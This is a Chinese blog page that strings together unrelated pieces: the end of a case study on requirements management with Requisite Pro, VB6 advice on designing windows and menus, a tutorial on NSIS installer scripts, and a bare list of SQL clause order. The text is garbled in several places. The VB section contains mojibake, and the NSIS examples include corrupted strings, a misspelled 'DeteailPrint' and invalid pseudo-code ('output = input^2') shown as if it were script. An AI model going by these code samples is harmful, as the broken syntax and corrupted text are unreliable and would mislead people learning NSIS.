　　在这一阶段的工作是在对第二步任务进行报告交流的基础上进行的。我们用PB开发了一个原型系统，就具体的业务流程与客户进行交流与沟通，通过原型，客户发现了许多我们与他们的理解相互不协调的地方，我们在修改需求的同时，也在Requisite Pro需求数据库中记录下修改的历史。事实证明，这种记录历史的作用是很有效的，如曾经有客户在两个不同的时间对同一需求提了相反的需求，我们根据历史记录很快证实了该客户的提法有错误，在事实面前无需再作争论，同时利用Requisite Pro，我们还发现了一些需求相互之间有矛盾。经过这一阶段工作，我们终于获得了经过用户认可的需求基线，即是可用于下一步进行详细设计的基线需求。

　　在这个项目中，我们利用了Power Designer、PB Documents等逆向工程分析工具和Requisite Pro需求管理工具，这些工具的使用，使我们提高了工作效率，起到了一定的辅助作用。但是，就需求分析工具方面而言。我们觉得国内应用得还是太少了，这一方面是因为对需求分析不够重视，另一方面是因为管理水平还达不到相应的层次。Rational公司的一整套需求分析工具，其功能是非常强大的，国外已在普遍地使用，在国内也逐渐开始普及，特别是那些通过CMM二级以上评审的单位，都必须使用工具对需求进行管理。在本项目中，我们仅仅利用了Requisite Pro功能的一些小方面，已经体会到该工具对于项目管理的诸多好处。如果一个有实力的公司能够全面实施RUP，那么需求管理这个老大难的问题会变得不再那么棘手了，项目的质量也会得到相应的提高。目前国内由于CMM热潮的兴起，已经逐渐重视需求分析，也逐渐使用需求分析工具，这是非常可喜的，当然，更希望在不久的将来，能用上国产的需求分析工具，那时我们的软件产业也许会真正地腾飞了。

　　评注；采用逆向工具进行再工程的应用很多，本文给出了一个实际的例子。写作有条理，也很实际。合理地界定了需求分析的现实水平。所采用的需求分析的方法与工具相对较合理科学。能在对项目讨论的同时抒发议论、使用体会、爱国心和事业心。深度还可以提高，例子宜更加丰富一些。

文章来源: 项目管理者联盟

使用VisualBasic（以下简称VB, 版本为6.0SP4）可以快速设计出标准风格的Windows软件，但是要创建真正易用的图形界面，还有许多工作要做。

一、窗体设计

窗体设计的好坏往往影响到软件的整体形象，因此必须首先处理好窗体的设计问题。

1、 窗体的边框

　　窗体边框的默认风格为“Sizeable”(可变的)，但并不是所有窗体都可以使用可变边框。因为用户常常有意无意地改变窗体的大小（比如双击窗口的标题栏），如果窗体中包含大量的控件，极有可能遮住部份控件或由于窗体过大而使控件的相对位置发生变化，使用户产生疑惑。
　　解决该问题的一种方法是在form_Resize事件过程中动态改变控件的位置和大小，使之在窗体中保持相对位置，但缺点是当窗体过小时，很难保证控件的可视效果。当然可以用程序控制窗体的最小尺寸，但更简单的方法是将窗体边框设置成“Fixed Single”, 如果不想提供最大化或最小化功能，也可以将其设为“Fixed Dialog”。

2、窗体的初始位置

　　窗体的初始位置会直接影响用户的使用，特别在多窗口的环境中，如果新的窗口完全覆盖了先前的窗口，用户一定会以为原先的窗口丢失了。使用层叠方法排列窗口并在任务条上显示每个窗口的进程标题是个不错的选择。 模式窗体激活时会阻止用户操作其它窗体，因此必须在不需要同时使用任何其它窗体的情况下才使用模式窗体，并确保窗体是可移动的。

3、使用多文档窗口界面

　　在多窗口界面中，所有窗体都以桌面为依托，好象有多个应用程序在运行一样，窗口管理比较麻烦，采用MDI多文档界面会将窗口管理的复杂程度降到最低。
　　在多文档界面中，必须有且只有一个主文档窗体（MDI主窗体），它的窗体区域不能放置除菜单类组件以外的任何控件，但可以拥有多个子窗体（MDI子窗体），也就是说MDI子窗体不能独立存在，并且不能为模式窗体，它们只能在MDI主窗体的窗体区域内活动；子窗体最大化时其标题栏和菜单栏能和主窗体合并；最小化时子窗体并不会缩至任务条上，而是缩小至主窗体的左下角；关闭主窗体时，所有子窗体都能自动关闭。充分使用好MDI界面会使用户觉得窗口控制更加简单。

4、控件的安排

　　控件是窗体最主要的组成部份，其排列形式会对用户操作的直观性和易用性产生重要影响。控件的放置一般 裱 韵略 颍?按功能组织控件的位置。
　　将控件按功能分类放置于窗体的不同的区域，会让用户更容易找到所需的功能。如果将“字体”和“取消”按钮放在一起，而将“颜色”和“确定”按钮放在一起，用户一定会摸不着头脑。
　　在保证可视性良好的前提下，控件的尺寸应尽可能地“小”，这样可以尽量缩小窗体的尺寸。
　　不在过小的窗体中放置过多的控件。
　　在过小的窗体中放置过多的控件，会造成窗体元素的过分拥挤，使控件的标题和文本难以辨认。
　　如果可能，应在按钮控件中使用图标，这样既可以使画面更生动，又使用户更容易理解控件的作用。
　　使用控件的“ ToolsTip ”属性。
　　“ToolsTip”可以为控件加上浮动的提示条。当用户的鼠标指向该控件时，提示条会自动显示，让用户立即从文字中了解控件的功能，数秒钟后它还会自动消失，不会给用户带来视觉障碍。

二、菜单设计

　　菜单是界面设计中的重要组成部份，“简单、直观、一致、有效”是菜单设计的原则。
　　下面的建议可能对创建满足用户期望的菜单有所帮助。

　　按照逻辑功能将菜单项分组，并且在下拉菜单中用分隔线将功能更相关的项目分组排列。
　　在同一菜单中避免使用多个相同功能的菜单项，否则会使用户产生疑惑。 避免使用没有下拉项的菜单项，因为孤立的菜单项和按钮没什么区别。点击这类菜单项并直接产生某个动作，通常会给用户产生过于 “突然”的感觉。
　　为了使用户使用更方便，可以在相关的窗体或控件区域内设置弹出式菜单，特别推荐用鼠标右键弹出菜单。同时这些弹出式菜单可以在主菜单中保留副本。 如果单击某个下拉菜单项会弹出对话框的话，最好在菜单标题的末尾添加“…”（省略号），这是Windows的约定。这样会使菜单更接近标准的Windows菜单，给熟悉Windows操作的用户带来方便。

三、照顾用户的感觉

　　用户的感觉是检验软件成功与否的试金石，这种感觉包括对软件的外观、易用性和速度等许多方面。
通常用户单击图标、控件或者菜单项时总希望看见一些事情发生。如果在单击后屏幕上没有发生变化，用户可能产生困惑，或者以为没有按对鼠标，或者干脆怀疑程序是否已经“死”了，但实际上程序可能正在处理一些需要较长时间才能完成的事情。结果不是为了确认鼠标是否按下而多次运行了同一个程序（这会使情况更糟），就是程序被强行关闭。这是我们不愿看到的。
　　解决的方法很简单，只要在开始处理前显示一个等待画面，如显示一条诸如“正在处理数据，请您稍候…”之类的信息，如果能配合显示动画图标和进度条，则效果更佳，它给用户的感觉就会变成：程序正在“拼命”地工作，而且很快就会完成了。
　　如果整个程序的启动时间过长，也会造成同样的情况。可以用类似的方法来解决：显示一个“闪现”画面（Flash Screen），在显示过程中完成启动处理，然后关闭“闪现”画面，进入主程序（类似Word的启动画面）。需要说明的是，要显示“闪现”画面，最好使用Sub_Main()作为程序的入口。
　　一些带有许多窗体的程序在运行时不断地装载或卸载窗体，用户感觉很“慢”，一个行之有效的方法就是在程序启动阶段将常用的窗体用Load语句预先装入内存（不显示），需要的时候只要用窗体的Show方法就能立即显示出来。虽然这有可能增加程序启动的时间和对内存的要求，但程序运行时的性能表现要快得多。
另外，用户对于不受他们控制的程序操作大多比较反感，因此让用户有机会取消操作将会更体贴用户。
　　一般在执行某个关键操作前，可以显示一个对话框，它至少包括两个按钮：“确定”和“取消”，这样可以给用户“反悔”的机会；在执行一些需要长时间才能完成的动作（比如数据复制）的过程中，在不影响数据安全性的前提下，可以提供一个“取消”按钮，让不耐烦的用户有机会终止操作。在设计这种功能时要熟练使用DoEvents语句。

　　以上只是本人在使用VB编程过程中的一些经验和感受，希望能为广大的VB程序员起到“抛砖引玉”的作用。

NSIS (Nullsoft Scriptable Install System)是一个Open Source的Windows系统下安装程序制作程序。它提供了安装、卸载、系统设置、文件解压缩等功能。这如其名字所指出的那样，NSIS是通过它的脚本语言来描述安装程序的行为和逻辑的。NSIS的脚本语言和通常的编程语言有类似的结构和语法，但它是为安装程序这类应用所设计的。NSIS脚本通常以 nsi为扩展名，支持include功能，头文件扩展名为nsh。
NSIS的主要特点是：

开销小，一个完整功能的安装程序仅需要34k的额外开销。
支持大多数Windows平台，包括：Windows 9.x，Windows NT, Windows 2000, Windows XP, Windows 2003
支持三大压缩算法: Zlig, BZips, LZMA
支持脚本
支持多语言
支持安装界面定制
提供可扩展的插件接口
支持网络安装、补丁
支持无人值守的安装模式
此外，NSIS的license允许任何用途免费使用。

开发一个NSIS的安装程序通常有以下几步：

确定安装的功能和界面元素
编写NSIS脚本
使用NSIS提供的makensis或者makensisw程序，将步骤2编写的脚本编译成可执行的安装程序
调试安装程序，如果有问题退到第二步重复
随着NSIS的流行，有一些第三方的NSIS脚本开发环境出现了，如HM NIS Edit，Venis IX前者是完全开源的，后者仅对个人和非商业用途免费。在这些集成开发环境下，步骤2，3可以方便的组合在一起。

NSIS脚本的结构
NSIS脚本(下称nsi脚本)主要包含安装程序属性、页面、区段、函数。
属性用来定义安装程序的行为和界面风格，这些属性大部分是编译时刻属性，即不能在运行时刻改变。
页面是指安装程序的向导页面，示例：
Page license
Page components
Page directory
Page instfiles
UninstPage uninstConfirm
UninstPage instfiles

区段是对应某种安装/卸载选项的处理逻辑，该段代码仅当用户选择相应的选项才被执行。卸载程序的区段名用”un.”作为前缀，示例如下：
Section “Installer Section”
SectionEnd

Section “un.Uninstaller Section”
SectionEnd
在区段中可以使用很多指令用来完成诸如解压缩文件、读写注册表、创建目录、创建快捷方式等任务，但最常用的指令是SetOutPath和File，前者用于指定目的位置，后者用于指定文件。示例：
Section “My Program”
SetOutPath $INSTDIR
File “My Program.exe”
File “Readme.txt”
SectionEnd
区段名的修饰符/o表示该区段默认不选上，-表示隐藏区段(匿名区段也是隐藏区段)，！表示需要粗体显示的区段。
SectionIn表示该区段和安装类型之间的关系：
SectionIn insttype_index [insttype_index] … [RO]
RO修饰符表示不可修改。

子区段用于包含多个区段
SubSection [/e] Caption [subsection_name index output]
修饰符/e用于该子区段的所有区段是否默认展开。

函数包含了模块化的安装逻辑，在nsi脚本中函数分为两种：用户自定义函数和回调函数。用户自定义函数仅当是Call指令调用时才被执行，如果函数体中没有abort语句，则安装程序执行完了用户自定义函数，继续运行Call语句和指令。
用户自定义函数的语法如下：
Function <函数名>
# some commands
FunctionEnd
函数的调用则使用以下语法：
Call <函数名>
可见无论是函数的定义还是函数的调用都没有参数传递。通常nsi的参数传递是通过堆栈操作Pop,Push和20个寄存器变量$0~$9, $R0~$R9进行的。也可以通过全局变量完成参数传递。如：
Var input ;
Var output ;

Section bla
DeteailPrint “input is $input$\n”
Call square
DeteailPrint “square of $input is $output$\n”
SectionEnd

Function square
output = input^2
FunctionEnd

回调函数则是由在特定的时间点触发的程序段。常用的回调函数如.onInit：
Function .onInit
MessageBox MB_YESNO “This will instb nall My Program. Do you wish to continue?” IDYES gogogo
Abort
gogogo:
FunctionEnd
NSIS对于安装逻辑定义以下回调函数：.onGUIInit、.onInit、.onInstFailed、.onInstSuccess、. onGUIEnd、.onMouseOverSection、.onRebootFailed、.onSelChange、.onUserAbort、. onVerifyInstDir
NSIS对于卸载逻辑定义以下回调函数：un.onGUIInit、un.onInit、un.onUninstFailed、un.onUninstSuccess、un.onGUIEnd、un.onRebootFailed、un.onUserAbort

nsi脚本的变量定义
nsi脚本的变量定义用Var关键字，后跟变量名，变量是全局的并且是大小写敏感的。变量引用时需要加上前缀$。
除了用户自定义的变量外，nsi脚本中与定义寄存器变量$0~$9,$R0~$R9用于参数传递，以及系统变量用于特定用途，这些变量主要有：
$INSTDIR，$OUTDIR，$CMDLINE，$LANGUAGE这些变量都是可写的。
$PROGRAMFILES，$COMMONFILES，$DESKTOP，$EXEDIR，${NSISDIR}，$WINDIR，$SYSDIR，$ TEMP，$STARTMENU，$SMPROGRAMS，$SMSTARTUP，$QUICKLAUNCH，$DOCUMENTS，$SENDTO，$ RECENT，$FAVORITES，$MUSIC，$PICTURES，$VIDEOS，$NETHOOD，$FONTS，$TEMPLATES，$ APPDATA，$PRINTHOOD，$INTERNET_CACHE，$COOKIES，$HISTORY，$PROFILE，$ ADMINTOOLS，$RESOURCES，$RESOURCES_LOCALIZED，$CDBURN_AREA，$HWNDPARENT，$ PLUGINSDIR

nsi脚本中可用于调试的系统函数有MessageBoxes,DetailPrint,Dumpstate。

nsi脚本的编译器指令
nsi脚本的编译器指令主要指仅在编译时刻执行的命令。这些命令主要用来包含文件、条件化编译、定义常量、定义宏等。定义常量和宏是编译器指令最主要应用。
定义常量的示例：
!define VERSION “1.0.3″
Name “My Program ${VERSION}”
OutFile “My Program Installer - ${VERSION}.exe”

定义宏的示例：
!macro MyFunc UN
Function ${UN}MyFunc
Call ${UN}DoRegStuff
ReadRegStr $0 HKLM Software\MyProgram key
DetailPrint $0
FunctionEnd

Modern UI
Modern UI是感观上模仿最新的Windows系统的界面风格，它由欢迎页面、结束页面和其他向导页面构成。

插件

nsi支持插件，通过插件可以方便的扩展NSIS安装程序的功能。NSIS插件是用C++,Delphi等语言编写的dll，在nsi脚本中调用nsi中的函数使用
如下语法：

DLLName::FunctionName “参数1″ “参数2″ “参数3″

示例1：

nsExec::ExecToLog ‘”${NSISDIR}\makensis.exe” /CMDHELP’

执行makensis.exe命令，显示该命令用法。

示例2：

InstallOptions::dialog “$PLUGINSDIR\test.ini”

显示对话框

示例3：

NSISdl::download http://download.nullsoft.com/winamp/client/winamp291_le.exe $R0

下载文件

NSIS搜索插件的策略

默认情况下NSIS在其安装目录的子目录Plugins中搜索插件，用户可以使用!addplugindir指定增加插件的目录位置。

nsi脚本的基本语法
注释
单行注释用井号”#”或分号”;”，跨行注释用可以用c/C++中注释语法。

数据类型
数字
数字常量可以用十进制、十六进制(0x为前缀)、八进制(0为前缀)表示，颜色用类似html的中RGB表示法，但去井号”#”。
字符串
字符串常量可以用引号引用，转意字符用”$\”作前缀。美元符号、常用转意字符换行、回车、制表符的nsi语法表示分别为：$$,$\n,$\r,$\t
续行符
nsi脚本用行尾的反斜杠”\”表示下一行和当前行逻辑上是同一行
默认头文件
如果在makensis同目录下有nsisconf.nsh文件，该文件会被自动包含，除非编译时指定/NOCONFIG选项

标号
nsi使用GOTO语句和IfErrors, MessageBox, IfFileExists及StrCmp进行程序控制流表示，标号是这些语句的目标语句。标号定义的语法：
标号：语句
标号必须定义在函数和区段中，其作用范围仅限于定义它的区段或函数。以点号”.”开头的标号是全局标号。
相对跳转
nsi脚本常常使用相对跳转表示条件分枝，其语法是[+-][1-9]，加号表示从当前位置往前跳转，减号则表示从当前位置往后跳转。数字表示跳转的语句条数。示例：
Goto +4
MessageBox MB_OK “The following message will be skipped”
Goto +3
MessageBox MB_OK “You will never ever see this message box”
Goto -3
MessageBox MB_OK “Done”

页面
向导页面是NSIS安装程序中最重要的界面元素，在nsi脚本中可以使用NSIS内置页面或者定制界面，通过脚本可以指定页面的顺序、显示样子和行为。 Page指令用来定义安装程序中的页面，UninstPage用来定义，此外PageEx指令提供类是功能，但提供更多选项。页面的顺序和它在nsi脚本中出现的次序一致。
示例：
Page license
Page components
Page directory
Page instfiles
UninstPage uninstConfirm
UninstPage instfiles
规定安装程序首先显示license页面，然后显示components选择页面，接着显示安装目录选择页面。

页面选项
不同的页面有不同的选项:
License page有LicenseText,LicenseData,LicenseForceSelection;
Components selection页面有ComponentText;
Directory selection页面有DirText,DirVar(仅能在PageEx中使用),DirVerify;
Un/Installation log页面有DetailsButtonText,CompletedText;
Uninstall confirmation页面有DirVar(仅能在PageEx中使用),UninstallText
对于内置的Page，NSIS支持三个回调函数用于定制界面和验证，对于自定义页面NSIS支持两个回调函数。

Page指令语法
Page license|components|directory|instfiles|uninstConfirm) [pre_function] [show_function] [leave_function]
或者：
Page custom [creator_function] [leave_function]
示例：
Page license skipLicense “” stayInLicense
Page custom customPage “” “: custom page”
Page instfiles

Function skipLicense
MessageBox MB_YESNO “Do you want to skip the license page?” IDNO no
Abort
no:
FunctionEnd

Function stayInLicense
MessageBox MB_YESNO “Do you want to stay in the license page?” IDNO no
Abort
no:
FunctionEnd

Function customPage
GetTempFileName $R0
File /oname=$R0 customPage.ini
InstallOptions::dialog $R0
Pop $R1
StrCmp $R1 “cancel” done
StrCmp $R1 “back” done
StrCmp $R1 “success” done
error: MessageBox MB_OK|MB_ICONSTOP “InstallOptions error:$\r$\n$R1″
done:
FunctionEnd

UninstPage指令语法
UninstPage custom [creator_function] [leave_function]
OR
UninstPage (license|components|directory|instfiles|uninstConfirm) [pre_function] [show_function] [leave_function]

PageEx 语法

PageEx 使用嵌套结构，
比如:
PageEx license
LicenseText “Readme”
LicenseData readme.rtf
PageCallbacks licensePre licenseShow licenseLeave
PageExEnd

常用的nsi指令
nsi大致可以分为基本指令、注册表及ini操作指令、通用指令、流程控制指令、文件操作指令、卸载指令、字符串处理指令、多语言支持指令、重启指令。

以下是常用的基本指令：
Delete
Delete [/REBOOTOK] file

Exec
Exec command

ExecShell
ExecShell action command [parameters] [SW_SHOWNORMAL | SW_SHOWMAXIMIZED | SW_SHOWMINIMIZED | SW_HIDE]
ExecShell “open” 示例”http://nsis.sf.net/“

ExecWait
ExecWait command [user_var(exit code)]
示例：
ExecWait ‘”$INSTDIR\someprogram.exe”‘
ExecWait ‘”$INSTDIR\someprogram.exe”‘ $0
DetailPrint “some program returned $0″

File
File [/nonfatal] [/a] ([/r] [/x file|wildcard [...]] (file|wildcard) [...] | /oname=file.dat infile.dat)
/r选项用作递归模式，/x用于排出文件
示例：
File something.exe
File /a something.exe
File *.exe
File /r *.dat
File /r data
File /oname=$TEMP\temp.dat somefile.ext
File /nonfatal “a file that might not exist”
File /r /x CVS myproject
File /r /x *.res /x *.obj /x *.pch source

Rename
Rename [/REBOOTOK] source_file dest_file

RMDir
RMDir [/r] [/REBOOTOK] directory_name

by BlogDriver 2.1

1. FROM
2. WHERE
3. GROUP BY
4. HAVING
5. SELECT
6. ORDER BY